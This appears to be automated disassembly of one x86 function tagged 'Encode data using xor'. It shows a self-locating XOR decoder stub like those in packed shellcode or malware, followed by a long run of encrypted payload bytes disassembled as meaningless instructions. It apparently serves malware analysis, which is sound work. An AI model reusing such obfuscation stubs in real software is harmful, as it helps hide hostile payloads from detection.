Function at 0x103ee988
Capabilities:
Encode data using xor

Disassembly:
jmp 0x103ee992
add byte [eax], al
add byte [eax], al
pushal
call 0x103ee998
pop ebp
sub ebp, 0x10
sub ebp, 0x3ee988
mov al, byte [esp + 0x28]
cmp al, 1
je 0x103ee9bc
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x103ee9c5
mov eax, 0x3ee988
add eax, ebp
add eax, 0x63
add byte ds:[ebx], al
lds eax, [ecx + 0x63c0]
add byte [ecx + 0x5e4], bh
arpl word [eax], ax
add byte [eax], al
mov ecx, 0x5e4
mov edx, 0xbe1fb573
xor byte [eax], dl
inc eax
dec ecx
jne 0x103ee9dc
jmp 0x103ee9ef
clc
mov esi, 0x734ffaf8
jae 0x103eea6a
mov dl, 0x8b
jae 0x103eea6f
jae 0x103eea6e
mov esi, 0x737375cb
jae 0x103ee9ce
pop ebx
jae 0x103eea7b
jae 0x103ee98e
xchg ecx, eax
jo 0x103ee9c8
clc
bnd jg 0x103eea84
jae 0x103eea86
jo 0x103ee9cb
and edi, esi
pop ss
push edi
invalid
inc ebx
jae 0x103eea9a
pop edi
push edi
sbb edx, eax
ret
fdivr qword [ebp + 0x73]
sbb ecx, dword [esi + 0x49]
dec esi
dec ecx
inc ebx
jae 0x103eeae5
pop edi
push edi
and bl, byte [ebx + 0x73737376]
lcall 0x2726, 0x7373714c
mov word cs:[esi], es
push es
jg 0x103eea13
mov word [esi], es
push es
jnp 0x103eea25
add dword [ebx + 0x73], esi
jae 0x103eea87
into
jnp 0x103eeb05
jae 0x103eeb07
inc eax
mov edx, 0x963981f2
xchg esi, eax
fdiv st(2)
cmp dword [ecx], 0x40d89696
cmp dword [ecx], 0x40d89696
fadd dword [eax - 0x5f]
invalid
mov eax, dword [0x3b769bf0]
jl 0x103eeaa1
cmp eax, 0x7c737373
sti
cmp esi, dword [ebx + 0x73]
jae 0x103eeaca
clc
outsd dx, dword [esi]
dec edx
mov byte [ebx + 0x7369f77c], bl
jae 0x103eeb34
mov byte [edx + 0x7362f77c], bl
jae 0x103eeb3c
jae 0x103eeb3d
jae 0x103eeae0
adc eax, 0x568c88f2
jl 0x103eeac8
mov byte [esi + edx*2 + 0x7366f77c], cl
mul dword [esi + 0x73]
jae 0x103eeb47
jae 0x103eeb48
jae 0x103eeb08
xor bl, byte [edx - 0x73737341]
pop edx
aas
lcall 0x3f5a, 0x8c8c8cbf
dec edx
jb 0x103eead0
invalid
mov dl, 0x76
invalid
lcall 0x275a, 0x8c8c8cce
dec edx
jno 0x103eeadf
mov word [edx + ebx*2 - 0xf8eb5d9], cs
mov dl, 0x75
invalid
lahf
and eax, 0x6f82624
and al, 0x26
clc
clc
push es
jg 0x103eeb02
push cs
jnp 0x103eea9c
pop ecx
stc
sal ebx, 0xf9
jne 0x103eeb04
mov ch, 0x72
mov ch, 0x72
jb 0x103eeb88
jae 0x103eeb89
jae 0x103eeb8a
jae 0x103eeb13
sti
je 0x103eeb0c
mov ah, 0x72
jae 0x103eeb91
jae 0x103eeae8
jno 0x103eeb95
jae 0x103eeb97
jae 0x103eeb96
jno 0x103eeac7
mov eax, dword [0x7376f67c]
jl 0x103eeb1e
jbe 0x103eeb9d
jae 0x103eeb9f
stc
xor eax, 0xf07ca161
popal
mov eax, dword [0x8cabf07c]
mov word [ecx + esi*2 + 0x76f67ca1], cs
jl 0x103eeb23
stosd dword es:[edi], eax
mov word [esp + ecx*4 - 0x9835e8f], cs
jl 0x103eeb31
jbe 0x103eebb0
jae 0x103eebb1
jae 0x103eebb2
jae 0x103eeb39
stc
xor eax, 0xf07ca161
sbb dword [ebx + 0x73], esi
jae 0x103eebbc
jae 0x103eebbd
jae 0x103eeb8b
inc eax
mov bl, 0x71
mov eax, dword [0x7376f67c]
jae 0x103eebc7
stc
xor eax, 0xf07ca161
pop ecx
jb 0x103eebd1
jae 0x103eebd1
mov eax, dword [0x7376f67c]
jae 0x103eebda
stc
xor eax, 0xb360a161
jno 0x103eeb11
mov eax, dword [0xa171b360]
jl 0x103eeb68
jbe 0x103eebe7
jae 0x103eebe9
stc
xor eax, 0xb360a161
jno 0x103eeb20
jl 0x103eeb77
jbe 0x103eebf6
jae 0x103eebf8
stc
xor eax, 0xb360a161
jno 0x103eeb2f
popal
mov eax, dword [0xa171b360]
pushal
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x103eeb86
jbe 0x103eec05
jae 0x103eec06
jae 0x103eec07
jae 0x103eeb8e
stc
xor eax, 0xb360a161
xor eax, 0xb360a161
popal
mov eax, dword [0xf77cb360]
jl 0x103eeb94
jne 0x103eec12
jae 0x103eec14
clc
lodsb al, byte [esi]
pop eax
stosd dword es:[edi], eax
stc
jo 0x103eeba3
je 0x103eebde
enter 0x7371, 0x73
jae 0x103eeb4a
add ecx, dword [esp + ecx*4 + 0x7372cb8c]
mov word [esp + ecx*4 + 0x737372cb], cs
jae 0x103eec2b
mov word [ebx + ecx*8 + 0x73737372], cs
mov ebx, cs
jb 0x103eec2a
jae 0x103eec2c
jno 0x103eeb5c
mov eax, dword [0x7376f67c]
jl 0x103eebb3
div byte [esi + 0x73]
jbe 0x103eec32
jae 0x103eec34
stc
xor eax, 0xb360a161
jno 0x103eeb6b
mov bl, 0x71
mov eax, dword [0x7376f67c]
jl 0x103eebc2
jbe 0x103eec41
jae 0x103eec42
jae 0x103eec43
jae 0x103eebca
stc
xor eax, 0xf17ca161
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x72c8b058], cs
jae 0x103eec54
mov word [eax - 0x50], ds
enter 0x7372, 0x73
mov al, 0xc8
jb 0x103eec53
jae 0x103eec55
jae 0x103eec5f
jl 0x103eebda
test byte [edi + 0x73], 0x73
inc edi
jae 0x103eec5a
jae 0x103eebb3
jb 0x103eec5e
jae 0x103eec60
jno 0x103eeb90
jl 0x103eebe7
jbe 0x103eec66
jae 0x103eec68
stc
xor eax, 0xba60a161
jno 0x103eeb9f
popal
mov eax, dword [0xa171ba60]
jl 0x103eebf6
jbe 0x103eec75
jae 0x103eec77
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
popal
mov eax, dword [0x8cadf17c]
mov word [ebp - 0x79a77b08], cs
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0x5884f825], cs
pop eax
xchg byte [eax + 0x7b9a2dd7], al
mov word [esp + ecx*4 + 0x7b93b23b], cs
stc
adc bh, 0x2d
lcall 0xb23b, 0x8c8c8c7b
xchg ebx, eax
jnp 0x103eec1a
mov word [ebx + edi - 0x6846c4e], cs
jne 0x103eec58
clc
wait
retf 0x7372
jno 0x103eebcd
mov eax, dword [0x7376f67c]
jl 0x103eec24
jbe 0x103eeca3
jae 0x103eeca5
stc
xor eax, 0xba60a161
xor eax, 0xba60a161
jno 0x103eebdc
jl 0x103eec33
jbe 0x103eecb2
jae 0x103eecb4
stc
xor eax, 0xf17ca161
xor eax, 0xf17ca161
mov eax, dword [0x8cadf17c]
mov word [edx + esi*8 + 0x730e738b], cs
int1
lodsd eax, dword [esi]
mov word [esp + ecx*4 + 0xe738bf2], cs
jae 0x103eecc5
jae 0x103eec45
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 + 0x738bf28c], cs
jbe 0x103eecd0
mov word [esp + ecx*4 + 0x76738bf2], cs
mov esi, dword [ebx + 0x76]
jae 0x103eecd2
jae 0x103eecd1
jae 0x103eec51
repne stosb byte es:[edi], al
stosb byte es:[edi], al
mov word [esp + ecx*4 - 0xc740d74], cs
jae 0x103eecdc
jae 0x103eecdc
jae 0x103eecdd
jae 0x103eec5d
mov byte [0x73737373], al
mov byte [0x73737373], al
mov esi, ebx
jae 0x103eece8
jae 0x103eec69
mov byte [0x73737373], al
and eax, 0x835884f8
adc bh, 0x2d
lcall 0x75f9, 0x8c8c8de8
xor eax, 0x9bb3ba40
jb 0x103eed0e
mov edx, 0x7c729bb3
imul dword [ecx + 0x73]
jae 0x103eed0a
mov byte [0x73737371], al
clc
wait
and eax, 0x835884f8
clc
test byte [eax - 0x7d], bl
pop eax
add dword [eax + 0x72c82dd7], 0x73
jae 0x103eed1f
adc bh, 0x2d
enter 0x7372, 0x73
xlatb
sub eax, 0x737372c8
jae 0x103eec47
lcall 0x582e, 0x8c8c8d00
add byte [ebp + 0x582e8c8c], cl
lea ecx, [esp + ecx*4 + 0x7b0e582e]
clc
pop eax
push cs
jnp 0x103eecae
mov ah, 0x2c
sub eax, 0xb12e96f8
jnp 0x103eed32
sub al, 0x2d
lcall 0x78d9, 0x73737377
inc ebp
jae 0x103eeca0
js 0x103eed0e
salc
retf
mov dh, 0xf2
mov bl, 0x1b
mov bl, 0x1b
jo 0x103eed49
jae 0x103eeca2
lodsb al, byte [esi]
jno 0x103eed4e
jae 0x103eeca6
leave
retf
mov word [esp + ecx*4 + 0x7373779a], cs
jae 0x103eec8d
lodsd eax, dword [esi]
mov eax, dword [0x40354c06]
mov ch, 0xf7
inc eax
ja 0x103eecf8
test dword [eax + 0x77], 0xcbcb6bfc
imul ecx, ebx, 0xffffffcb
retf
sti
dec ebx
retf
retf
retf
retf
les ecx, [edx + 0x33]
enter 0xffffffffffffcbcb, 0xffffffffffffffcb
les ecx, [esi - 0x3a]
retf
retf